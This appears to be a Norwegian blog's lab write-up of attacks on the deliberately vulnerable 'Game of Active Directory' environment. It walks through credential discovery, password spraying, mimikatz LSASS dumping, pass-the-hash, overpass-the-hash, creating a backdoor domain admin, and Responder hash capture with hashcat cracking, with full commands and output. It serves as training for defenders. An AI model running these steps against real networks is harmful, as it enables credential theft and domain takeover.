mdit.no

Author: [email protected]

  • GoAD Write-up – Persistence, Escalation & Lateral Movement

    GoAD Write-up – Persistence, Escalation & Lateral Movement

    Game of Active Directory del 3.1 – Persistence Privilege escalation & Lateral Movement

    Forord: Denne bloggserien viser reelle metoder angripere bruker for å bevege seg inn i, og ta over et AD miljø. All denne informasjonen er allerede offentlig tilgjengelig, og deles ikke for å gi grunnkurs i nettkriminalitet, men for å spre kunnskap om hvorfor vi må beskytte oss. Du må kun benytte disse verktøyene, metodene og prosedyrene i miljøer der du har fått eksplisitt samtykke av eier til å gjøre dette.

    I dette segmentet tar vi for oss “Persistence”, “Escalation” og “Lateral Movement” på systemer. Vi fokuserer på flere MITRE ATT&CK teknikker, bl.a. T1078.002 – Valid Accounts: Domain Accounts, T1003.001 – OS Credential Dumping: LSASS Memory og T1136.002 – Create Account: Domain Account

    Selv om vi allerede har eierskap over Robb Stark kontoen som er administrator på Winterfell og på Castelblack skal vi begynne på Castelblack med Jeor Mormont sin konto for å demonstrere hvordan man kan gå fra lokal administrator på en maskin, til å bli domeneadministrator i et domene.


    Fotfeste

    Vi begynner med å logge på som NORTH\jeor.mormont via Evil-WINRM:

    $ evil-winrm -i "castelblack.north.sevenkingdoms.local" -u "NORTH\jeor.mormont" -p "_L0ngCl@w_"
    
    *Evil-WinRM* PS C:\Users\jeor.mormont\Documents> whoami
    north\jeor.mormont
    *Evil-WinRM* PS C:\Users\jeor.mormont\Documents> hostname
    castelblack

    Utforsking

    Vi ser oss litt rundt på systemet når vi først har admintilgang, og vi finner en interessant mappe på C:\ som heter setup. Denne inneholder en mappe som heter mssql. I den mappen finner vi en fil ved navn sql_conf.ini som inneholder veldig spennende opplysninger.

    *Evil-WinRM* PS C:\setup\mssql> dir
    
    
        Directory: C:\setup\mssql
    
    
    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    d-----        9/11/2025  11:54 AM                media
    -a----        9/11/2025  11:54 AM           1253 sql_conf.ini
    -a----        9/11/2025  11:54 AM        6379936 sql_installer.exe
    -a----        9/11/2025  12:02 PM      495847104 SSMS_installer.exe
    
    
    *Evil-WinRM* PS C:\setup\mssql> download sql_conf.ini
                                            
    Info: Downloading C:\setup\mssql\sql_conf.ini to sql_conf.ini
                                            
    Info: Download successful!

    sql_conf.ini

    Vi finner SQL Service Account navn og passord i klartekst, samt SA brukernavn og passord.

    $ cat sql_conf.ini          
    ;SQL Server Configuration File
    [OPTIONS]
    IACCEPTSQLSERVERLICENSETERMS="True"
    ACTION="Install"
    ENU="True"
    QUIET="True"
    QUIETSIMPLE="False"
    UpdateEnabled="False"
    ERRORREPORTING="False"
    USEMICROSOFTUPDATE="False"
    FEATURES=SQLENGINE,FULLTEXT
    UpdateSource="MU"
    HELP="False"
    INDICATEPROGRESS="False"
    X86="False"
    INSTALLSHAREDDIR="C:\Program Files\Microsoft SQL Server"
    INSTALLSHAREDWOWDIR="C:\Program Files (x86)\Microsoft SQL Server"
    INSTANCENAME="SQLEXPRESS"
    SQMREPORTING="False"
    INSTANCEID="SQLEXPRESS"
    RSINSTALLMODE="DefaultNativeMode"
    INSTANCEDIR="C:\Program Files\Microsoft SQL Server"
    AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
    AGTSVCSTARTUPTYPE="Automatic"
    COMMFABRICPORT="0"
    COMMFABRICNETWORKLEVEL="0"
    COMMFABRICENCRYPTION="0"
    MATRIXCMBRICKCOMMPORT="0"
    SQLSVCSTARTUPTYPE="Automatic"
    FILESTREAMLEVEL="0"
    ENABLERANU="False"
    SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
    SQLSVCACCOUNT="north.sevenkingdoms.local\sql_svc"
    SQLSVCPASSWORD="YouWillNotKerboroast1ngMeeeeee"
    SAPWD="Sup1_sa_P@ssw0rd!"
    SQLSYSADMINACCOUNTS="north.sevenkingdoms.local\sql_svc"
    ADDCURRENTUSERASSQLADMIN="True"
    TCPENABLED="1"
    NPENABLED="0"
    BROWSERSVCSTARTUPTYPE="Disabled"
    RSSVCSTARTUPTYPE="manual"
    FTSVCACCOUNT="NT Service\MSSQLFDLauncher"

    Netexec MSSQL

    MSSQL credentials er ofte gjenbrukt på flere tjenester. Vi tester å password spraye serverparken med konto sql_svc og passordet vi avdekket i config fila, og ser det funker på både CASTELBLACK og BRAAVOS, og de befinner seg henholdsvis i north.sevenkingdoms.local og i essos.local – vi har med andre ord gyldige MSSQL credentials i to domener.

    $ netexec mssql 10.3.2.10-30 -u sql_svc -p "YouWillNotKerboroast1ngMeeeeee"
    MSSQL       10.3.2.22       1433   CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 (name:CASTELBLACK) (domain:north.sevenkingdoms.local)
    MSSQL       10.3.2.23       1433   BRAAVOS          [*] Windows 10 / Server 2016 Build 14393 (name:BRAAVOS) (domain:essos.local)
    MSSQL       10.3.2.22       1433   CASTELBLACK      [+] north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee (Pwn3d!)
    MSSQL       10.3.2.23       1433   BRAAVOS          [+] essos.local\sql_svc:YouWillNotKerboroast1ngMeeeeee (Pwn3d!)

    XFREERDP3

    Vi kobler på Castelblack serveren via RDP med verktøyet XFREERDP3, med brukeren jeor.mormont og passordet vi fant i scriptet på fileshare tidligere.

    $ xfreerdp3 /u:jeor.mormont /p:_L0ngCl@w_ /v:castelblack.north.sevenkingdoms.local
    
    Certificate details for castelblack.north.sevenkingdoms.local:3389 (RDP-Server):
            Common Name: castelblack.north.sevenkingdoms.local
            Subject:     CN = castelblack.north.sevenkingdoms.local
            Issuer:      CN = castelblack.north.sevenkingdoms.local
            Valid from:  Sep  9 14:23:57 2025 GMT
            Valid to:    Mar 11 14:23:57 2026 GMT
            Thumbprint:  f1:8c:88:75:0d:a2:29:40:50:b3:71:30:dd:75:69:25:ee:f7:fc:6b:19:47:a7:90:c8:27:d0:66:f9:f1:69:a5
    The above X.509 certificate could not be verified, possibly because you do not have
    the CA certificate in your certificate store, or the certificate has expired.
    Please look at the OpenSSL documentation on how to add a private CA to the store.
    Do you trust the above certificate? (Y/T/N) y
    
    
    Vi ser vi er inne på castelblack serveren som jeor.mormont via remote desktop protocol.

    ..og vi er inne, som jeor,mormont på castelblack via RDP.


    Aktive sesjoner

    Vi sjekker Task Manager for å se om det er noen interessante sesjoner vi kan prøve å dumpe ut, og her ser vi at robb.stark også er på maskinen. Vi har allerede stjelt og cracket hashen hans i forrige artikkel, men vi ønsker å se på enda en måte å få tak i denne kontoen på.

    Det er to åpne brukersesjoner på maskinen: robb.stark, og jeor.mormont (oss).

    Windows Defender

    Som vi kan se er Defender real-time-protection allerede skrudd av på denne maskinen, men for å være helt sikre oppretter vi også en ekskludert mappe for verktøy vi ønsker å benytte.

    C:\tmp\ er ekskludert fra Windows Defender, og real-time-scanning er avslått.

    Verktøy

    Det neste vi gjør er å laste opp noen verktøy vi skal bruke til å dumpe NTLM hasher, bl.a for Robb Stark brukeren ut av LSASS. Vi bruker like gjerne WinRM til å laste opp en kolleksjon med verktøy vi har som ligger i en mappe som heter wintools.

    *Evil-WinRM* PS C:\tmp> upload wintools
                                           
    Info: Uploading /home/kali/tools/wintools to C:\tmp\wintools
    Data: 254727192 bytes of 254727192 bytes copied
                                            
    Info: Upload successful!

    Med en lokal administratorkonto, defender deaktivert og verktøykasse på plass kan vi gå i gang med å fyre opp Mimikatz, og å dumpe ut hasher fra minnet.

    PS C:\tmp\wintools\mimikatz> .\mimikatz.exe
    
      .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
     .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
     ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
     ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
     '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
      '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

    i outputfilen katz.txt finner vi mye spennende – forkortet for å ikke bruke plass på unødvendig innhold.

    mimikatz # sekurlsa::logonpasswords
    
    Authentication Id : 0 ; 435494 (00000000:0006a526)
    Session           : Interactive from 2
    User Name         : DWM-2
    Domain            : Window Manager
    Logon Server      : (null)
    Logon Time        : 9/12/2025 7:44:47 AM
    SID               : S-1-5-90-0-2
            msv :
             [00000003] Primary
             * Username : CASTELBLACK$
             * Domain   : NORTH
             * NTLM     : 5feda43ac32e843e0402dafbe67607fb
             * SHA1     : b273d6e61eaf0adc95ca1026851ed3793d1ba32b
             * DPAPI    : b273d6e61eaf0adc95ca1026851ed379
            tspkg :
            wdigest :
             * Username : CASTELBLACK$
             * Domain   : NORTH
             * Password : (null)
            kerberos :
             * Username : CASTELBLACK$
             * Domain   : north.sevenkingdoms.local
             * Password : ED^ILvC<fph2W$mN`+*f@;rdjzC61eV#%7"S)l%d/%1Am#xouo/=[64:3.3zacO9K>_eP2#ew15Nvd#/K% f$]sRm0y:)#\/.XJ$BN+65hF-/eTwE5qwUnGO
            ssp :
            credman :
    
    Authentication Id : 0 ; 137835814 (00000000:08373526)
    Session           : RemoteInteractive from 3
    User Name         : jeor.mormont
    Domain            : NORTH
    Logon Server      : WINTERFELL
    Logon Time        : 9/29/2025 2:03:23 AM
    SID               : S-1-5-21-88918170-2512471535-2376777965-1120
            msv :
             [00000003] Primary
             * Username : jeor.mormont
             * Domain   : NORTH
             * NTLM     : 6dccf1c567c56a40e56691a723a49664
             * SHA1     : 7774de0d0e1f76a478cafe4170c6628ea751d955
             * DPAPI    : 14fb89c095e4127e9a6d6f78a519fbe6
            tspkg :
            wdigest :
             * Username : jeor.mormont
             * Domain   : NORTH
             * Password : (null)
            kerberos :
             * Username : jeor.mormont
             * Domain   : NORTH.SEVENKINGDOMS.LOCAL
             * Password : (null)
            ssp :
            credman :
    
    Authentication Id : 0 ; 457917 (00000000:0006fcbd)
    Session           : RemoteInteractive from 2
    User Name         : robb.stark
    Domain            : NORTH
    Logon Server      : WINTERFELL
    Logon Time        : 9/12/2025 7:44:47 AM
    SID               : S-1-5-21-88918170-2512471535-2376777965-1113
            msv :
             [00000003] Primary
             * Username : robb.stark
             * Domain   : NORTH
             * NTLM     : 831486ac7f26860c9e2f51ac91e1a07a
             * SHA1     : 3bea28f1c440eed7be7d423cefebb50322ed7b6c
             * DPAPI    : afe9b43cb143c4d4630997bf0937792f
            tspkg :
            wdigest :
             * Username : robb.stark
             * Domain   : NORTH
             * Password : (null)
            kerberos :
             * Username : robb.stark
             * Domain   : NORTH.SEVENKINGDOMS.LOCAL
             * Password : (null)
            ssp :
            credman :
    
    Authentication Id : 0 ; 105893 (00000000:00019da5)
    Session           : Service from 0
    User Name         : sql_svc
    Domain            : NORTH
    Logon Server      : WINTERFELL
    Logon Time        : 9/12/2025 7:44:32 AM
    SID               : S-1-5-21-88918170-2512471535-2376777965-1121
            msv :
             [00000003] Primary
             * Username : sql_svc
             * Domain   : NORTH
             * NTLM     : 84a5092f53390ea48d660be52b93b804
             * SHA1     : 9fd961155e28b1c6f9b3859f32f4779ad6a06404
             * DPAPI    : 5a2c3906642cc03b77a3ddb6f75fe412
            tspkg :
            wdigest :
             * Username : sql_svc
             * Domain   : NORTH
             * Password : (null)
            kerberos :
             * Username : sql_svc
             * Domain   : NORTH.SEVENKINGDOMS.LOCAL
             * Password : (null)
            ssp :
            credman :

    Vi ser vi har plukket opp passordet til maskinkontoen CASTELBLACK$ i klartekst, og vi har også plukket opp NTLM hasher for jeor.mormont, robb.stark og sql_svc kontoene.


    Pass-the-Hash

    Vi hadde allerede passordene til alle tre kontoene, men dersom vi ikke hadde funnet dem via andre teknikker ville vi hatt disse NTLM hashene nå, og vi kan forsøke å knekke passord med HashCat, eller vi kan spare oss bryet og logge rett på tjenester med NTLM hashen uten å kunne passordet, i såkalte “pass-the-hash” angrep.

    $ xfreerdp3 /u:robb.stark /pth:831486ac7f26860c9e2f51ac91e1a07a /v:winterfell.north.sevenkingdoms.local
    
    Certificate details for winterfell.north.sevenkingdoms.local:3389 (RDP-Server):
    Common Name: winterfell.north.sevenkingdoms.local
    Subject: CN = winterfell.north.sevenkingdoms.local
    Issuer: CN = winterfell.north.sevenkingdoms.local
    Valid from: Sep 9 14:10:31 2025 GMT
    Valid to: Mar 11 14:10:31 2026 GMT
    Thumbprint: 7f:71:a3:d6:99:86:d5:5b:48:ca:0b:42:80:00:78:bf:74:46:54:80:72:ae:e0:2c:43:8f:5a:40:52:65:41:39
    The above X.509 certificate could not be verified, possibly because you do not have
    the CA certificate in your certificate store, or the certificate has expired.
    Please look at the OpenSSL documentation on how to add a private CA to the store.
    Do you trust the above certificate? (Y/T/N) y

    Vi forsøker å logge på winterfell.north.sevenkingdoms.local som er domenekontroller i north subdomenet i ad-skogen sevenkingdoms.local.

    “Account restrictions are preventing this user from signing in, For example: blank passwords aren’t allowed, sign-in times are limited, or a policy restriction has been enforced.”

    Vi blir dessverre møtt med en beskjed om at dette ikke er tillatt grunnet kontorestriksjoner. Dette skyldes en innstilling som er satt noen steder og ikke andre.


    NetExec med kontonavn og hash:

    Prøver vi derimot å benytte hashen til robb.stark for smb enumerering ser vi at det funker helt fint, da dette ikke berøres av samme innstillingene.

    $ netexec smb 10.3.2.10-30 -u robb.stark -H 831486ac7f26860c9e2f51ac91e1a07a
    SMB         10.3.2.11       445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
    SMB         10.3.2.10       445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
    SMB         10.3.2.12       445    MEEREEN          [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)
    SMB         10.3.2.23       445    BRAAVOS          [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
    SMB         10.3.2.22       445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
    SMB         10.3.2.11       445    WINTERFELL       [+] north.sevenkingdoms.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07a (Pwn3d!)
    SMB         10.3.2.10       445    KINGSLANDING     [-] sevenkingdoms.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07a STATUS_LOGON_FAILURE
    SMB         10.3.2.12       445    MEEREEN          [-] essos.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07a STATUS_LOGON_FAILURE
    SMB         10.3.2.23       445    BRAAVOS          [+] essos.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07a (Guest)                                                                                                                 
    SMB         10.3.2.22       445    CASTELBLACK      [+] north.sevenkingdoms.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07a
    Running nxc against 21 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

    Overpass-the-hash

    Vi benytter en teknikk som heter overpass-the-hash ved hjelp av mimikatz. På denne måten kan vi “oppgradere” til Kerberos autentisering som Robb.Stark på Castelblack serveren. Dette lar oss også snakke med domenet som om vi er Robb Stark.

    mimikatz # privilege::debug
    Privilege '20' OK
    
    mimikatz # sekurlsa::pth /user:robb.stark /domain:north.sevenkingdoms.local /ntlm:831486ac7f26860c9e2f51ac91e1a07a
    user    : robb.stark
    domain  : north.sevenkingdoms.local
    program : cmd.exe
    impers. : no
    NTLM    : 831486ac7f26860c9e2f51ac91e1a07a
      |  PID  1604
      |  TID  4260
      |  LSA Process is now R/W
      |  LUID 0 ; 2426481 (00000000:00250671)
      \_ msv1_0   - data copy @ 00000225E0CBDBA0 : OK !
      \_ kerberos - data copy @ 00000225E1279618
       \_ aes256_hmac       -> null
       \_ aes128_hmac       -> null
       \_ rc4_hmac_nt       OK
       \_ rc4_hmac_old      OK
       \_ rc4_md4           OK
       \_ rc4_hmac_nt_exp   OK
       \_ rc4_hmac_old_exp  OK
       \_ *Password replace @ 00000225E11D20C8 (32) -> null

    Det åpnes et nytt cmd.exe vindu. Sjekker vi hvem vi er via /whoami ser vi at systemet mener vi er jeor.mormont enda.

    Microsoft Windows [Version 10.0.17763.7792]
    (c) 2018 Microsoft Corporation. All rights reserved.
    
    C:\Windows\system32>whoami
    north\jeor.mormont

    Sjekker vi om vi har fått noen Kerberos tickets via KLIST ser vi at det ser jo heller dårlig ut.

    C:\Windows\system32>klist
    
    Current LogonId is 0:0x375a10
    
    Cached Tickets: (0)

    Men prøver vi å enumerere innholdet på C disken på Winterfell DCen så ser vi at det fungerer faktisk helt fint.

    C:\Windows\system32>dir \\winterfell.north.sevenkingdoms.local\C$
     Volume in drive \\winterfell.north.sevenkingdoms.local\C$ is Windows 2019
     Volume Serial Number is 9458-49FB
    
     Directory of \\winterfell.north.sevenkingdoms.local\C$
    
    09/12/2025  05:43 AM             5,280 dns_log.txt
    09/10/2025  04:27 AM    <DIR>          inetpub
    05/11/2021  09:55 PM    <DIR>          PerfLogs
    09/09/2025  11:23 AM    <DIR>          Program Files
    05/11/2021  09:41 PM    <DIR>          Program Files (x86)
    09/11/2025  12:04 PM    <DIR>          setup
    09/10/2025  04:26 AM    <DIR>          tmp
    09/30/2025  10:56 AM    <DIR>          Users
    09/30/2025  10:31 AM    <DIR>          Windows
                   1 File(s)          5,280 bytes
                   8 Dir(s)  38,864,101,376 bytes free

    Sjekker vi KLIST igjen ser vi at nå har vi fått en kerberos ticket-granting-ticket for robb.stark, og at vi også har hentet oss en Kerberos Service Ticket for robb som er gyldig mot fileshares på winterfell.

    C:\Windows\system32>klist
    
    Current LogonId is 0:0x375a10
    
    Cached Tickets: (3)
    
    #0>     Client: robb.stark @ NORTH.SEVENKINGDOMS.LOCAL
            Server: krbtgt/NORTH.SEVENKINGDOMS.LOCAL @ NORTH.SEVENKINGDOMS.LOCAL
            KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
            Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
            Start Time: 9/30/2025 11:12:35 (local)
            End Time:   9/30/2025 21:12:35 (local)
            Renew Time: 10/7/2025 11:12:35 (local)
            Session Key Type: AES-256-CTS-HMAC-SHA1-96
            Cache Flags: 0x2 -> DELEGATION
            Kdc Called: winterfell.north.sevenkingdoms.local
    
    #1>     Client: robb.stark @ NORTH.SEVENKINGDOMS.LOCAL
            Server: krbtgt/NORTH.SEVENKINGDOMS.LOCAL @ NORTH.SEVENKINGDOMS.LOCAL
            KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
            Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
            Start Time: 9/30/2025 11:12:35 (local)
            End Time:   9/30/2025 21:12:35 (local)
            Renew Time: 10/7/2025 11:12:35 (local)
            Session Key Type: RSADSI RC4-HMAC(NT)
            Cache Flags: 0x1 -> PRIMARY
            Kdc Called: winterfell.north.sevenkingdoms.local
    
    #2>     Client: robb.stark @ NORTH.SEVENKINGDOMS.LOCAL
            Server: cifs/Winterfell.north.sevenkingdoms.local @ NORTH.SEVENKINGDOMS.LOCAL
            KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
            Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
            Start Time: 9/30/2025 11:12:35 (local)
            End Time:   9/30/2025 21:12:35 (local)
            Renew Time: 10/7/2025 11:12:35 (local)
            Session Key Type: AES-256-CTS-HMAC-SHA1-96
            Cache Flags: 0
            Kdc Called: winterfell.north.sevenkingdoms.local

    PowerSploit: New-DomainUser

    En mye brukt teknikk for å komme inn i et system er å opprette en egen bruker på målsystemet som vi bestemmer passordet på selv. I dette tilfellet ønsker vi å bruke PowerSploit, selv om det er mange måter å gjøre dette på, som med alle andre teknikker og verktøy denne serien demonstrerer.

    Vi begynner med å laste inn powershell.exe og modulen PowerSploit fra verktøykassa. Deretter oppretter vi en SecureString med passordet vårt som i dette tilfellet er WinterIsComing. Så oppretter vi en ny bruker vi kaller Backdoor.Stark med dette passordet.

    PS C:\tmp\wintools> import-module .\PowerSploit\PowerSploit.psm1
    
    PS C:\tmp\wintools> $Secret = read-host -assecurestring
    **************
    
    PS C:\tmp\wintools> New-DomainUser -SamAccountName Backdoor.Stark -AccountPassword $Secret -Name "Backdoor Stark" -DisplayName "Backdoor Stark" -Description "Backdoor :)"
    
    
    GivenName                         :
    MiddleName                        :
    Surname                           :
    EmailAddress                      :
    VoiceTelephoneNumber              :
    EmployeeId                        :
    AdvancedSearchFilter              : System.DirectoryServices.AccountManagement.AdvancedFilters
    Enabled                           : True
    AccountLockoutTime                :
    LastLogon                         :
    PermittedWorkstations             : {}
    PermittedLogonTimes               :
    AccountExpirationDate             :
    SmartcardLogonRequired            : False
    DelegationPermitted               : True
    BadLogonCount                     : 0
    HomeDirectory                     :
    HomeDrive                         :
    ScriptPath                        :
    LastPasswordSet                   : 9/30/2025 5:49:52 PM
    LastBadPasswordAttempt            :
    PasswordNotRequired               : False
    PasswordNeverExpires              : False
    UserCannotChangePassword          : False
    AllowReversiblePasswordEncryption : False
    Certificates                      : {}
    Context                           : System.DirectoryServices.AccountManagement.PrincipalContext
    ContextType                       : Domain
    Description                       : Backdoor :)
    DisplayName                       : Backdoor Stark
    SamAccountName                    : Backdoor.Stark
    UserPrincipalName                 :
    Sid                               : S-1-5-21-88918170-2512471535-2376777965-1122
    Guid                              : a0e35259-e2e7-4a42-8dbe-c16d8a71c931
    DistinguishedName                 : CN=Backdoor Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    StructuralObjectClass             : user
    Name                              : Backdoor Stark

    Er vi først i gang kan vi like gjerne legge Backdoor Stark til i Domain Admins, og sjekker at vi har lykkes med det.

    PS C:\tmp\wintools> Add-DomainGroupMember "Domain Admins" -Members "Backdoor.Stark"
    PS C:\tmp\wintools> Get-DomainGroupMember "Domain Admins"
    
    
    GroupDomain             : north.sevenkingdoms.local
    GroupName               : Domain Admins
    GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    MemberDomain            : north.sevenkingdoms.local
    MemberName              : Backdoor.Stark
    MemberDistinguishedName : CN=Backdoor Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    MemberObjectClass       : user
    MemberSID               : S-1-5-21-88918170-2512471535-2376777965-1122
    
    GroupDomain             : north.sevenkingdoms.local
    GroupName               : Domain Admins
    GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    MemberDomain            : north.sevenkingdoms.local
    MemberName              : eddard.stark
    MemberDistinguishedName : CN=eddard.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    MemberObjectClass       : user
    MemberSID               : S-1-5-21-88918170-2512471535-2376777965-1111
    
    GroupDomain             : north.sevenkingdoms.local
    GroupName               : Domain Admins
    GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    MemberDomain            : north.sevenkingdoms.local
    MemberName              : Administrator
    MemberDistinguishedName : CN=Administrator,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    MemberObjectClass       : user
    MemberSID               : S-1-5-21-88918170-2512471535-2376777965-500

    RDP til DC for North Subdomain

    Så forsøker vi å koble opp mot Winterfell som Backdoor.Stark med passord WinterIsComing over RDP.

    $ xfreerdp3 /u:backdoor.stark /p:WinterIsComing /v:winterfell.north.sevenkingdoms.local
    Backdoor Stark har kommet inn på Winterfell via RDP.

    Refleksjon

    Vi har altså tatt over hele North subdomenet i Sevenkingdoms.local skogen, med enkle metoder og verktøy som har vært offentlig tilgjengelige i lange tider – i noen tilfeller flere tiår – som likevel kan være ekstremt enkle og effektive i bruk mot selv maskiner som kjører Windows Server 2016 og Windows Server 2019!

    Noen av svakhetene skyldes svake standardkonfigurasjoner som Microsoft lar stå for å sikre bakoverkompatibilitet med systemer fra 80- og 90-tallet rett ut av boksen. Andre ting skyldes dårlige administrative praksiser som svekker sikkerheten ytterligere.

    I neste innlegg skal vi se hvordan vi kan ta oss fra eierskap i North subdomenet til eierskap over hele sevenkingdoms.local skogen ved å misbruke flere svake konfigurasjoner.

  • GoAD Write-up – Initial Access

    GoAD Write-up – Initial Access

    Game of Active Directory del 2 – Initial access

    Forord: Denne bloggserien viser reelle metoder angripere bruker for å bevege seg inn i, og ta over et AD miljø. All denne informasjonen er allerede offentlig tilgjengelig, og deles ikke for å gi grunnkurs i nettkriminalitet, men for å spre kunnskap om hvorfor vi må beskytte oss. Du må kun benytte disse verktøyene, metodene og prosedyrene i miljøer der du har fått eksplisitt samtykke av eier til å gjøre dette.

    Vi fortsetter fra Del 1 som tok for seg rekognosering.

    I dette segmentet tar vi for oss “initial access” på systemer. Vi fokuserer på MITRE ATT&CK T1078.002 – Valid Accounts: Domain Accounts. Selv om vi allerede har passordet til Sam og hint om Arya, så skal vi utforske flere metoder i denne posten.


    Responder

    Dersom miljøet benytter NTLM-autentisering kan vi forsøke å stjele NTLM hasher fra nettverket. Disse kan man enten cracke offline for å finne kontopassordet. I mange tilfeller kan vi også utnytte en klassisk sårbarhet, og utføre såkalte relay-angrep der vi videresender hashen til en tjeneste uten å kunne passordet, og likevel kan vi bli autentisert som den kontoen mot en tjeneste.

    Ettersom vi befinner oss på samme L2 broadcast domain som labben, kan vi kjøre et verktøy som heter Responder for å se om vi kan finne noen hasher.

    $ sudo responder -I vxlan100 --analyze
    [+] Listening for events...
    [+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned 

    Vi fanget opp hashen til NORTH\Eddard.Stark

    eddard.stark::NORTH:1122334455667788:4162288F6FAE16F820EE1ACA1B5107B1:010100000000000000B67E510424DC01DACE8067C597868B00000000020008004B0050004F00490001001E00570049004E002D00350054004A0049004C0056005200500046003000440004003400570049004E002D00350054004A0049004C005600520050004600300044002E004B0050004F0049002E004C004F00430041004C00030014004B0050004F0049002E004C004F00430041004C00050014004B0050004F0049002E004C004F00430041004C000700080000B67E510424DC0106000400020000000800300030000000000000000000000000300000E7C75260965FFE977866685EBA6DB455FB9BB51E917A1CE3B28827603DE5A25C0A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000

    Og vi fanget også opp hashen til NORTH\robb.stark

    robb.stark::NORTH:1122334455667788:74EE24F5B3AF42B688EFE560E8E7BDD5:010100000000000000B67E510424DC0124E1A6E0885399FD00000000020008004B0050004F00490001001E00570049004E002D00350054004A0049004C0056005200500046003000440004003400570049004E002D00350054004A0049004C005600520050004600300044002E004B0050004F0049002E004C004F00430041004C00030014004B0050004F0049002E004C004F00430041004C00050014004B0050004F0049002E004C004F00430041004C000700080000B67E510424DC0106000400020000000800300030000000000000000000000000300000E7C75260965FFE977866685EBA6DB455FB9BB51E917A1CE3B28827603DE5A25C0A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000

    Forsøker vi å cracke disse to oppfangede hashene med rockyou ordlista, ser vi at dette ikke lykkes for eddard.stark kontoen.

    $ hashcat -m 5600 creds/eddard.stark.north.sevenkingdoms.local.ntlmv2  /usr/share/wordlists/rockyou.txt
    hashcat (v6.2.6) starting
    
    OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
    ====================================================================================================================================================
    
    Minimum password length supported by kernel: 0
    Maximum password length supported by kernel: 256
    
    Hashes: 1 digests; 1 unique digests, 1 unique salts
    Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
    Rules: 1
    
    Optimizers applied:
    * Zero-Byte
    * Not-Iterated
    * Single-Hash
    * Single-Salt
    
    ATTENTION! Pure (unoptimized) backend kernels selected.
    Pure kernels can crack longer passwords, but drastically reduce performance.
    If you want to switch to optimized kernels, append -O to your commandline.
    See the above message to find out about the exact limits.
    
    Watchdog: Temperature abort trigger set to 90c
    
    Host memory required for this attack: 1 MB
    
    Dictionary cache hit:
    * Filename..: /usr/share/wordlists/rockyou.txt
    * Passwords.: 14344385
    * Bytes.....: 139921507
    * Keyspace..: 14344385
    
    Cracking performance lower than expected?                 
    
    * Append -O to the commandline.
      This lowers the maximum supported password/salt length (usually down to 32).
    
    * Append -w 3 to the commandline.
      This can cause your screen to lag.
    
    * Append -S to the commandline.
      This has a drastic speed impact but can be better for specific attacks.
      Typical scenarios are a small wordlist but a large ruleset.
    
    * Update your backend API runtime / driver the right way:
      https://hashcat.net/faq/wrongdriver
    
    * Create more work items to make use of your parallelization power:
      https://hashcat.net/faq/morework
    
    Approaching final keyspace - workload adjusted.           
    
    Session..........: hashcat                                
    Status...........: Exhausted
    Hash.Mode........: 5600 (NetNTLMv2)
    Hash.Target......: EDDARD.STARK::NORTH:1122334455667788:4162288f6fae16...000000
    Time.Started.....: Mon Sep 22 14:06:27 2025 (12 secs)
    Time.Estimated...: Mon Sep 22 14:06:39 2025 (0 secs)
    Kernel.Feature...: Pure Kernel
    Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
    Guess.Queue......: 1/1 (100.00%)
    Speed.#1.........:   916.2 kH/s (1.82ms) @ Accel:512 Loops:1 Thr:1 Vec:8
    Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
    Progress.........: 14344385/14344385 (100.00%)
    Rejected.........: 0/14344385 (0.00%)
    Restore.Point....: 14344385/14344385 (100.00%)
    Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
    Candidate.Engine.: Device Generator
